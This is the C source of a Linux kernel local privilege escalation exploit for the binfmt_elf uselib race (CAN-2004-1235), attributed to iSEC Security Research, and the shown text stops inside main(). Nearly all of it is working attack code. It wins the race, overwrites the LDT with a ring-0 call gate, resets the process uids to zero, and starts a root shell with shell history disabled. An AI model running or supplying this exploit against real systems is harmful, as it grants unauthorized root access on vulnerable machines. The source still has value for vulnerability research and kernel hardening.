CAN-2004-1235 : Kernel 2.4.x <= 2.4.29-rc2 and 2.6.x <= 2.6.10 are vulnerable

/*
* binfmt_elf uselib VMA insert race vulnerability
* v1.08
*
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt
*/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE 1

// temp lib location
#define LIBNAME "/dev/shm/_elf_lib"

// shell name
#define SHELL "/bin/bash"

// time delta to detect race
#define RACEDELTA 5000

// if you have more deadbabes in memory, change this
#define MAGIC 0xdeadbabe

// do not touch
#define SLAB_THRSH 128
#define SLAB_PER_CHLD (INT_MAX - 1)
#define LIB_SIZE ( PAGE_SIZE * 4 )
#define STACK_SIZE ( PAGE_SIZE * 4 )

#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE ( LDT_ENTRIES-1 )
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS ( ENTRY_GATE-2 )
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS ( ENTRY_GATE-1 )
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )

#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB

#define TMPLEN 256
#define PGD_SIZE ( PAGE_SIZE*1024 )

extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];

static volatile int
val = 0,
go = 0,
finish = 0,
scnt = 0,
ccnt=0,
delta = 0,
delta_max = RACEDELTA,
map_flags = PROT_WRITE|PROT_READ;

static int
fstop=0,
silent=0,
pidx,
pnum=0,
smp_max=0,
smp,
wtime=2,
cpid,
uid,
task_size,
old_esp,
lib_addr,
map_count=0,
map_base=0,
map_addr,
addr_min,
addr_max,
vma_start,
vma_end,
max_page;

static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
"HISTFILE=/dev/null",
NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";

static char *pagemap, *libname=LIBNAME, *shellname=SHELL;

#define __NR_sys_gettimeofday __NR_gettimeofday
#define __NR_sys_sched_yield __NR_sched_yield
#define __NR_sys_madvise __NR_madvise
#define __NR_sys_uselib __NR_uselib
#define __NR_sys_mmap2 __NR_mmap2
#define __NR_sys_munmap __NR_munmap
#define __NR_sys_mprotect __NR_mprotect
#define __NR_sys_mremap __NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);

inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

r=t2->tv_sec - t1->tv_sec;
r*=1000000;
r+=t2->tv_usec - t1->tv_usec;
return r;
}

void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

if(!errno) {
fprintf(stdout, "\n[-] FAILED: %s ", message);
} else {
fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
(char*) (strerror(errno)) );
}
if(critical)
printf("\nCRITICAL, entering endless loop");
printf("\n");
fflush(stdout);

unlink(libname);
kill(cpid, SIGKILL);
for(;;) kill(0, sig);
}

// try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
finish=1;

for(;;) {
errno = 0;

// check if raced:
recheck:
if(!go) sys_sched_yield();
sys_gettimeofday(&tm2, NULL);
delta = tmdiff(&tm1, &tm2);
if(!smp_max && delta < (unsigned)delta_max) goto recheck;
smp = smp_max;

// check if lib VMAs exist as expected under race condition
recheck2:
val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
if(val) continue;
errno = 0;
val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
if( !val || (val<0 && errno!=ENOMEM) ) continue;

// SMP?
smp--;
if(smp>=0) goto recheck2;

// recheck race
if(!go) continue;
finish++;

// we need to free one vm_area_struct for mmap to work
val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
if(val) fatal("mprotect", 0);
val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(-1==val) fatal("mmap2 race", 0);
printf("\n[+] race won maps=%d", map_count); fflush(stdout);
_exit(0);
}

return 0;
}

int callme_1()
{
return val++;
}

inline int valid_ptr(unsigned ptr)
{
return ptr>=task_size && ptr<addr_min-16;
}

inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
t=(unsigned*)p[3];
if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
return 1;
}
return 0;
}

asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

// find & reset uids
while(addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;

addr[0] = addr[0] = addr[2] = addr[3] = 0;
addr[4] = addr[5] = addr[6] = addr[7] = 0;

// find & correct VMA
for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
if( validate_vma(addr, vma_start, vma_end) ) {
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}

void kcode(void);

void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" xstr(SEL_LDS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel_code \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}

int callme_2()
{
return val + task_size + addr_min;
}

void sigfailed(int v)
{
ccnt++;
fatal("lcall", 1);
}

// modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
unlink(libname);

r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
if(r) fatal("mprotect 1", 1);

// check if really LDT
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
signal(SIGSEGV, sigfailed);
r = *v;
if(r != MAGIC) {
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
fatal("find LDT", 1);
}

// yeah, setup CPL0 gate
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
v[1] = 0x00cf9b00;

v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
v[1] = 0x00cf9300;

// reprotect to get only one big VMA
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
if(r) fatal("mprotect 2", 1);

// CPL0 transition
sys_sched_yield();
val = callme_1() + callme_2();
asm("lcall $" xstr(SEL_GATE) ",$0x0");
if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
} else {
printf("\n[-] uid change failed" ); fflush(stdout);
sigfailed(0);
}
signal(SIGTERM, SIG_IGN);
kill(0, SIGTERM);
execl(shellname, "sh", NULL);
fatal("execl", 0);
}

void scan_mm_finish();
void scan_mm_start();

// kernel page table scan code
void scan_mm()
{
map_addr -= PAGE_SIZE;
if(map_addr <= (unsigned)addr_min)
scan_mm_start();

scnt=0;
val = *(int*)map_addr;
scan_mm_finish();
}

void scan_mm_finish()
{
retry:
__asm__("movl %0, %%esp" : :"m"(old_esp) );

if(scnt) {
pagemap[pidx] ^= 1;
}
else {
sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
}
pidx--;
scan_mm();
goto retry;
}

// make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

pnum++;
if(pnum==1) {
pidx = max_page-1;
}
else if(pnum==2) {
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES-1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
l.limit_in_pages = 1;
if( modify_ldt(1, &l, sizeof(l)) != 0 )
fatal("modify_ldt", 1);
pidx = max_page-1;
}
else if(pnum==3) {
npg=0;
for(pidx=0; pidx<=max_page-1; pidx++) {
if(pagemap[pidx]) {
npg++;
fflush(stdout);
}
else if(npg == LDT_PAGES) {
npg=0;
try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
} else {
npg=0;
}
}
fatal("find LDT", 1);
}

// save context & scan page table
__asm__("movl %%esp, %0" : :"m"(old_esp) );
map_addr = addr_max;
scan_mm();
}

// return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

fp = fopen("/proc/slabinfo", "r");
if(!fp)
fatal("get_slab_objs: fopen", 0);
fgets(name, sizeof(name) - 1, fp);
do {
c = u = a = -1;
if (!fgets(line, sizeof(line) - 1, fp))
break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
&d, &d, &d, &d);
} while (strcmp(name, sn));
close(fileno(fp));
fclose(fp);
return c == 7 ? a - u : -1;
}

// leave one object in the SLAB
inline void prepare_slab()
{
int *r;

map_addr -= PAGE_SIZE;
map_count++;
map_flags ^= PROT_READ;

r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED == r) {
fatal("try again", 0);
}
*r = map_addr;
}

// sig handlers
void segvcnt(int v)
{
scnt++;
scan_mm_finish();
}

// child reap
void reaper(int v)
{
ccnt++;
waitpid(0, &v, WNOHANG|WUNTRACED);
}

// sometimes I get the VMAs in reversed order...
// so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
map_flags = 0;
check_vma_flags();
}

void check_vma_flags()
{
if(map_flags) {
__asm__("movl %%esp, %0" : :"m"(old_esp) );
} else {
__asm__("movl %0, %%esp" : :"m"(old_esp) );
goto out;
}
signal(SIGSEGV, vreversed);
val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}

// use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout);

// helper clone
finish=0; ccnt=0;
sz = sizeof(cstack) / sizeof(cstack[0]);
cpid = clone(&raceme, (void*) &cstack[sz-16],
CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
if(-1==cpid) fatal("clone", 0);

// synchronize threads
while(!finish) sys_sched_yield();
finish=0;
if(!silent) {
printf("\n"); fflush(stdout);
}

// try to hit the kmalloc race
for(;;) {

r = get_slab_objs("vm_area_struct");
while(r != 1) {
prepare_slab();
r--;
}

sys_gettimeofday(&tm1, NULL);
go = 1;
r=sys_uselib(libname);
go = 0;
if(r) fatal("uselib", 0);
if(finish) break;

// wipe lib VMAs and try again
r = sys_munmap(lib_addr, LIB_SIZE);
if(r) fatal("munmap lib", 0);
if(ccnt) goto failed;

if( !silent && !(pcnt%64) ) {
printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]);
fflush(stdout);
}
pcnt++;
}

// seems we raced, free mem
r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
if(r) fatal("munmap 1", 0);
r = sys_munmap(lib_addr, PAGE_SIZE);
if(r) fatal("munmap 2", 0);

// relax kswapd
sys_gettimeofday(&tm1, NULL);
for(;;) {
sys_sched_yield();
sys_gettimeofday(&tm2, NULL);
delta = tmdiff(&tm1, &tm2);
if( wtime*1000000U <= (unsigned)delta ) break;
}

// we need to check the PROT_EXEC flag
map_flags = PROT_EXEC;
check_vma_flags();
if(!map_flags) {
printf("\n VMAs reversed"); fflush(stdout);
}

// write protect brk's VMA to fool vm_enough_memory()
r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
PROT_READ|map_flags);
if(-1==r) { fatal("mprotect brk", 0); }

// this will finally make the big VMA...
sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
if(r) fatal("madvise", 0);
r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
if(-1==r) {
if(0==sz) {
fatal("mremap: expand VMA", 0);
} else {
sz -= PAGE_SIZE;
goto expand;
}
}
vma_start = lib_addr + PAGE_SIZE;
vma_end = vma_start + sz + 2*PAGE_SIZE;
printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
fflush(stdout);

// try to figure kernel layout
signal(SIGCHLD, reaper);
signal(SIGSEGV, segvcnt);
signal(SIGBUS, segvcnt);
scan_mm_start();

failed:
fatal("try again", 0);

}

// make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

// make our elf library
umask(022);
unlink(libname);
fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
memset(&eh, 0, sizeof(eh) );

// elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 1;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );

// section header:
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = lib_addr;
eph.p_memsz = LIB_SIZE;
eph.p_flags = PF_W|PF_R|PF_X;
write(fd, &eph, sizeof(eph) );

// execable code
lseek(fd, 4096, SEEK_SET);
memset(tmpbuf, 0x90, sizeof(tmpbuf) );
write(fd, &tmpbuf, sizeof(tmpbuf) );
close(fd);
}

// move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

old_esp &= ~(PAGE_SIZE-1);
old_esp -= PAGE_SIZE;
task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
r = sys_munmap(old_esp, task_size-old_esp);
if(r) fatal("unmap stack", 0);

// setup rt env
uid = getuid();
lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
if(map_base)
map_addr = map_base;
else
map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
old_esp, task_size, map_base); fflush(stdout);

// check physical mem & prepare
sysinfo(&si);
addr_min = task_size + si.totalram;
addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
addr_max = addr_min + si.totalram;
if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
addr_max = 0xffffd000;

printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
max_page = (addr_max - addr_min) / PAGE_SIZE;
pagemap = malloc( max_page + 32 );
if(!pagemap) fatal("malloc pagemap", 1);
memset(pagemap, 0, max_page + 32);

// go go
make_lib();
exploitme();
}

// move stack down #1
void prepare()
{
unsigned p=0;

environ = myenv;

p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
if(-1==p) fatal("mmap2 stack", 0);
p += STACK_SIZE - 64;

__asm__("movl %%esp, %0 \n"
"movl %1, %%esp \n"
: : "m"(old_esp), "m"(p)
);

prepare_finish();
}

void chldcnt(int v)
{
ccnt++;
}

// alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

__asm__("movl %%esp, %0" : : "m"(old_esp) );

old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
old_esp = map_base? map_base : old_esp;

for(;;) {
if(left<=0)
left = get_slab_objs("vm_area_struct");
if(left <= SLAB_THRSH)
break;
left--;

map_flags ^= PROT_READ;
old_esp -= PAGE_SIZE;
r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
if(MAP_FAILED == r)
break;

if(c>SLAB_PER_CHLD)
break;
if( (c%1024)==0 ) {
if(!c) printf("\n");
printf("\r child %d VMAs %d", val, c);
fflush(stdout);
}
c++;
}
printf("\r child %d VMAs %d", val, c);
fflush(stdout);
kill(getppid(), SIGUSR1);
for(;;) pause();
}

// empty SLAB caches
void wipe_slab()
{
signal(SIGUSR1, chldcnt);
printf("\n[+] SLAB cleanup"); fflush(stdout);
for(;;) {
ccnt=0;
val++;
cpid = fork();
if(!cpid)
do_wipe();

while(!ccnt) sys_sched_yield();
if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
break;
}
signal(SIGUSR1, SIG_DFL);
}

void usage(char *n)
{
printf("\nUsage: %s\t-f forced stop\n", n);
printf("\t\t-s silent mode\n");
printf("\t\t-c command to run\n");
printf("\t\t-n SMP iterations\n");
printf("\t\t-d race delta us\n");
printf("\t\t-w wait time seconds\n");
printf("\t\t-l alternate lib name\n");
printf("\t\t-a alternate addr hex\n");
printf("\n");
_exit(1);
}

// give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

while(ac) {
r = getopt(ac, av, "n:l:a:w:c:d:fsh");
if(r<0) break;

switch(r) {

case 'f' :
fstop = 1;
break;

case 's' :
silent = 1;
break;

case 'n' :
smp_max = atoi(optarg);
break;

case 'd':
if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
fatal("bad delta value", 0);
break;

case 'w' :
wtime = atoi(optarg);
if(wtime<0) fatal("bad wait value", 0);
break;

case 'l' :
libname = strdup(optarg);
break;

case 'c' :
shellname = strdup(optarg);
break;

case 'a' :
if(1!=sscanf(optarg, "%x", &map_base))
fatal("bad addr value", 0);
map_base &= ~(PGD_SIZE-1);
break;

case 'h' :
default:
usage(av[0]);
break;
}
}

// basic setup
uid = getuid();
setpgrp();
wipe_slab();
prepare();